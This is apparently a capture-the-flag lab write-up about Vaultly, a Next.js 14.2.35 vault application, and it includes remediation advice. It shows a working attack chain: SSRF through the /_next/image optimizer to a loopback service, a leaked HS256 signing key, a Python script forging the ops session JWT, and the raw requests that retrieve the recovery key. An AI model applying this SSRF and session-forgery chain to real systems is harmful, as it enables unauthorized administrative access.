Vaultly: Next.js Image Optimizer SSRF to Ops Session Forgery
Executive Summary
Vaultly is a team document-vault application built on Next.js 14.2.35 (App Router) behind a Go reverse proxy. The platform-staff area (/admin) and its break-glass recovery key are gated by a separate Vaultly HQ ops session (vaultly_ops), distinct from the regular org-user session. Testing found that the Next.js image optimizer (/_next/image) is configured to fetch from an internal loopback host, turning it into an unauthenticated server-side request forgery (SSRF) that reads an internal service. That service serves the HQ ops signing key, which is enough to forge a vaultly_ops session and read the recovery key.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Next.js image optimizer SSRF to an internal service discloses the HQ ops signing key, enabling ops session forgery | Critical | 9.1 | CWE-918, CWE-200 | GET /_next/image → GET /admin/api/recovery |
The primary finding is a fully unauthenticated chain that reuses no session at any step. Because the image optimizer’s allowlist includes an internal host, and because this deployment has SVG handling enabled in the optimizer, the internal SVG responses come back readably. The internal service discloses the HS256 key used to sign HQ ops sessions, so an attacker can mint a valid vaultly_ops cookie offline and retrieve the Vaultly HQ break-glass recovery key with no credentials.
Objective
Recover the Vaultly HQ break-glass recovery key, served at GET /admin/api/recovery behind a valid vaultly_ops HQ ops session.
Scope / Initial Access
# Target Application
URL: https://lab-1790692832144-l497x1.labs-app.bugforge.io
# Auth details
# Regular org users self-register and receive an opaque 192-bit vaultly_session cookie.
# The recovery route requires a SEPARATE vaultly_ops HQ ops session (an HS256 JWT), which
# has no discoverable mint or login flow from the org-user surface.
#
# The exploit chain below is fully UNAUTHENTICATED: no vaultly_session is used at any step.
# A registered account was used only during reconnaissance to view the dashboard markup.
The application distinguishes two session types. Org users hold an opaque vaultly_session cookie backed by a server-side session store. The HQ ops console at /admin requires a vaultly_ops cookie, and GET /admin/api/recovery returns 401 when it is absent and 403 when it is present but invalid, so the route validates the cookie value on every request rather than caching a static shell.
Reconnaissance: Reading the App’s Own Outbound Fetches
The entry point was disclosed by the application itself. After registering and loading the dashboard, the page markup contained an image tag whose source pointed the Next.js image optimizer at an internal loopback host. Reviewing the proxy history (not just the HTML forms and links, but the app’s own auto-loaded subresources) surfaced the allowlisted internal target that made the optimizer an SSRF.
Facts that shaped the test plan:
- Stack and patch level. The build is Next.js 14.2.35 App Router behind a Go reverse proxy (a request with
Host: localhostreturns the Go default 404). Version 14.2.35 is above 14.2.25, so thex-middleware-subrequestmiddleware bypass (CVE-2025-29927) that reaches/adminon older builds is patched here. A path that did not depend on the framework version was needed. - The target route.
GET /admin/api/recoveryreturns401 application/jsonrequiring avaultly_opsHQ ops session. The/adminpage itself renders a “Forbidden” server component without that cookie. No mint, upgrade, or HQ login flow forvaultly_opswas reachable from the org-user surface. - The disclosed internal host. The dashboard renders a SOC2 badge with
<img src="/_next/image?url=http://127.0.0.1:9000/badge/soc2.svg&w=256&q=75">. That the optimizer accepts a127.0.0.1:9000URL means the image configuration (images.remotePatterns) allowlists that internal host, so/_next/imageis an unauthenticated fetch to a loopback-only service.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Next.js 14.2.35 (App Router) behind a Go reverse proxy |
| Frontend | Server components; the client bundle is framework runtime only (no app routes or credentials in chunks) |
| Auth | Org users: opaque 192-bit vaultly_session cookie. HQ ops: vaultly_ops HS256 JWT (separate authority) |
| Internal service | Loopback-only branding service on 127.0.0.1:9000, allowlisted in images.remotePatterns |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/_next/image?url= |
GET | None | Image optimizer; allowlist includes http://127.0.0.1:9000 (SSRF sink) |
/admin/api/recovery |
GET | vaultly_ops |
Returns the break-glass recovery key (F1 target) |
/admin |
GET | vaultly_ops |
HQ ops console; renders “Forbidden” without the cookie |
/api/auth/register |
POST | None | Org-user self-registration (recon only) |
/api/files/import |
POST | vaultly_session |
URL fetcher; blocklists loopback/RFC1918 (see Failed Approaches) |
Attack Chain Visualization
┌─────────────────────────┐ ┌─────────────────────────┐ ┌─────────────────────────┐ ┌─────────────────────────┐
│ 1. /_next/image?url= │ │ 2. same fetch to │ │ 3. Forge vaultly_ops │ │ 4. GET /admin/api/ │
│ http://127.0.0.1:9000│ ─▶ │ /badge/signing- │ ─▶ │ JWT offline: HS256 │ ─▶ │ recovery with the │
│ / returns an SVG │ │ key.svg returns the │ │ with the leaked key │ │ forged cookie returns│
│ banner listing paths │ │ HS256 key + claims │ │ + required claims │ │ the recovery key │
└─────────────────────────┘ └─────────────────────────┘ └─────────────────────────┘ └─────────────────────────┘
unauthenticated unauthenticated offline, no request unauthenticated
Findings
F1: Next.js image optimizer SSRF to an internal service discloses the HQ ops signing key, enabling ops session forgery
Severity: Critical
CVSS v3.1: 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
CWE: CWE-918 (Server-Side Request Forgery), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)
Endpoint: GET /_next/image (chained to GET /admin/api/recovery)
Authentication required: No
Scoring note: PR:N because the chain reuses no session at any step; it does not depend on registration or any prior credential. Forging a valid HQ ops session makes I:H a constant, so confidentiality is the axis that decides the band, and C:H is carried because the disclosed material yields both the signing key and the break-glass recovery key. S:U because the impact stays inside the single application’s authorization authority. Scored with S:C (the SSRF reaching a separate internal service on 127.0.0.1:9000), the vector lands at 10.0; it is Critical under either reading.
Description
Three defects compound into an unauthenticated full compromise of the HQ ops console:
- The image optimizer allowlists an internal host.
images.remotePatternspermitshttp://127.0.0.1:9000, soGET /_next/image?url=http://127.0.0.1:9000/<path>makes the server fetch arbitrary paths on that loopback-only service with no authentication. - The internal responses are readable. The internal service returns
image/svg+xml, and this deployment has SVG handling enabled in the optimizer (images.dangerouslyAllowSVG). The optimizer responses carryContent-Security-Policy: script-src 'none'; sandbox;andContent-Disposition: inline, the headers Next.js attaches when that option is set, so the SVG body is returned as text and any text the internal service renders is readable. A default Next.js optimizer instead rejects SVG through/_next/imagewith a400, so this readable readback depends on the setting; a non-image response such as JSON is rejected either way. - The disclosed key is sufficient to forge an ops session. The internal service serves the HS256 key used to sign
vaultly_opssessions, along with the cookie name and required claims.GET /admin/api/recoveryaccepts anyvaultly_opsJWT that verifies against that key and carries those claims, so the leaked key alone allows minting a valid HQ ops session offline.
Impact
Unauthenticated disclosure of the HQ ops session signing key, allowing forgery of a Vaultly HQ ops session. Full compromise of the platform-staff admin console and retrieval of the break-glass recovery key with no credentials.
Reproduction
The internal host 127.0.0.1:9000 was identified from the dashboard’s own <img src="/_next/image?url=http://127.0.0.1:9000/badge/soc2.svg..."> markup. The reproduction below starts from that known host and uses no session cookie.
Step 1: Read the internal service root through the optimizer
GET /_next/image?url=http%3A%2F%2F127.0.0.1%3A9000%2F&w=256&q=75 HTTP/1.1
Host: lab-1790692832144-l497x1.labs-app.bugforge.io
Accept: */*
Response: 200, Content-Type: image/svg+xml. The SVG renders a banner that self-documents the service’s endpoints:
Vaultly internal branding service
GET /badge/soc2.svg (public)
GET /badge/signing-key.svg (restricted · ops)
loopback only · 127.0.0.1:9000
The optimizer returned the internal body readably, and the banner names a restricted path, /badge/signing-key.svg.
Step 2: Read the restricted signing-key path through the optimizer
GET /_next/image?url=http%3A%2F%2F127.0.0.1%3A9000%2Fbadge%2Fsigning-key.svg&w=256&q=75 HTTP/1.1
Host: lab-1790692832144-l497x1.labs-app.bugforge.io
Accept: */*
Response: 200, Content-Type: image/svg+xml. The SVG renders the ops session secret:
cookie: vaultly_ops alg: HS256 console: /admin
required claims: {"staff":true,"iss":"vaultly-hq-ops","aud":"vaultly-admin-console"}
HS256 key (utf-8 bytes of this hex string):
ba1eb7129c5f67146efa216adc00dd9964aa5463ed9575d005d886996fef5915
The “restricted · ops · loopback only” label describes the service’s intent; the loopback fetch through /_next/image originates from the trusted server, so that gate is satisfied.
Step 3: Forge the vaultly_ops JWT offline
The key note reads “utf-8 bytes of this hex string,” so the 64-character string is used as the literal secret, not its hex-decoded value. Forging with the hex-decoded bytes produces a different signature that the route rejects.
import jwt, time # PyJWT
key = "ba1eb7129c5f67146efa216adc00dd9964aa5463ed9575d005d886996fef5915"
now = int(time.time())
token = jwt.encode(
{
"staff": True,
"iss": "vaultly-hq-ops",
"aud": "vaultly-admin-console",
"iat": now,
"exp": now + 3600,
},
key,
algorithm="HS256",
)
print(token)
This produces a vaultly_ops cookie of the form eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.<claims>.<signature>.
Step 4: Retrieve the recovery key with the forged cookie
GET /admin/api/recovery HTTP/1.1
Host: lab-1790692832144-l497x1.labs-app.bugforge.io
Cookie: vaultly_ops=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGFmZiI6dHJ1ZSwiaXNzIjoidmF1bHRseS1ocS1vcHMiLCJhdWQiOiJ2YXVsdGx5LWFkbWluLWNvbnNvbGUiLCJpYXQiOjE3OTA2OTQ5NzcsImV4cCI6MTc5MDY5ODU3N30.zTwGerWKsVa2XP8zB2aCZEkTRWgAEqtL70bQkY_iEEY
Response:
{"org":"Vaultly HQ","record":"break-glass","recovery_key":"bug{LKIxceC1lzV90SaTAD2NXYpR5rLwsWHL}","note":"Emergency access key — rotate immediately after use."}
The forged cookie is accepted and the route returns the break-glass recovery key.
Remediation
The exact configuration below is inferred (no source access); the shape of the fix holds regardless.
Fix 1: Never allowlist internal or loopback hosts in the image optimizer
// BEFORE (Vulnerable): next.config.js
images: {
remotePatterns: [
{ protocol: 'http', hostname: '127.0.0.1', port: '9000' }, // internal service reachable via /_next/image
],
},
// AFTER (Secure)
images: {
remotePatterns: [
{ protocol: 'https', hostname: 'cdn.vaultly.example' }, // public asset origins only
],
},
Serve the dashboard badge from a public asset origin, or inline it, rather than proxying an internal host through the optimizer.
Fix 2: Do not serve secrets from a loopback-trusted service
BEFORE: /badge/signing-key.svg returns the HQ ops signing key, gated only by "loopback only".
AFTER: key material is never exposed over any HTTP-reachable service; loopback is reachable via SSRF,
so loopback-origin trust is not an authorization boundary.
Move signing keys into a secrets manager or environment configuration read in-process, and bind the ops session to more than a shared signing key (for example, a server-side session record checked on each request), so a leaked key alone cannot mint a valid session.
Fix 3: Rotate the disclosed signing key. The key ba1eb7...f5915 and every session signed with it must be treated as compromised and rotated.
Additional recommendations:
- Restrict
images.remotePatternsto explicit public asset hostnames; never include a private, loopback, or link-local host. remotePatterns is a static host/port/path allowlist, so keep internal hosts out of it entirely rather than relying on runtime range checks. - Disable
images.dangerouslyAllowSVGunless it is strictly required; with it off, the optimizer rejects SVG through the endpoint and this text readback would fail. - Give the internal branding service its own authentication rather than relying on network position.
- Alert on
/_next/imagerequests whose resolved target is a private or loopback address.
OWASP Top 10 Coverage
- A10:2021 Server-Side Request Forgery (SSRF): the image optimizer fetches attacker-chosen paths on an allowlisted internal host and returns the responses readably.
- A05:2021 Security Misconfiguration:
images.remotePatternsallowlists an internal loopback host, exposing an internal-only service to the public optimizer. - A01:2021 Broken Access Control:
/admin/api/recoverytrusts a self-signedvaultly_opsJWT whose signing key is reachable, and the internal service exposes ops-restricted material to any loopback-origin request.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Proxy history review; surfaced the app’s own /_next/image fetch of the internal host |
| curl | Issuing the optimizer and recovery requests |
| Python (PyJWT) | Forging the vaultly_ops HS256 JWT offline |
References
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
- OWASP Top 10 2021: A10 Server-Side Request Forgery
- Next.js documentation: Image Optimization and
images.remotePatterns - RFC 7519: JSON Web Token (JWT)
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
x-middleware-subrequest header bypass (CVE-2025-29927) on /admin |
401 unchanged |
Patched in 14.2.35 (this build); the bypass only works below 14.2.25 |
/api/files/import URL fetcher pointed at loopback / RFC1918 / link-local |
“Host not allowed” | Blocklist resolves DNS then range-checks the IP; IP encodings, protocol-relative, and file:// all rejected |
/api/files/import via HTTP redirect from an allowed host to loopback |
“fetch failed” | The fetcher does not follow redirects (any 3xx aborts), so redirect-based host bypass is closed |
/_next/image with a relative or external url |
“isn’t a valid image” (relative) / “url not allowed” (external) | Relative fetches are image-validated and blind; external hosts are not in the allowlist. Only the allowlisted internal host works |
RSC flight-stream leak on GET /admin (with RSC: 1) |
Byte-identical “Forbidden” segment | The server component branches before computing ops data, so no key or recovery data is serialized |
| Client bundle grep for hidden routes and credentials | Framework runtime only | App logic is server-side; no app routes, credentials, or vaultly_ops references in the chunks |
| SSO/OIDC issuer config as an SSRF or login-bypass path | Config saves without fetching the issuer; no reachable login trigger | The issuer is fetched at login time, and no SSO login flow was reachable |
IDOR on /vaults/{id}, /api/files/{id} (download and preview) |
404 / 403 |
Both are org-scoped; out-of-scope ids return not-found or forbidden |
| Mass-assignment at register, member invite role, and personal token scopes | Elevated fields ignored or sanitized; token scopes allowlisted | No self-escalation to HQ ops through any of these inputs |
OAuth2 scope injection at /api/oauth/token |
Arbitrary scopes accepted but inert | No endpoint consumes the elevated scopes; a 63k-path fuzz of /api/v1 found only org-scoped /me and /files |
Tags: #ssrf #nextjs #next-image #jwt-forgery #webapp #bugforge
Document Version: 1.1
Last Updated: 2026-09-29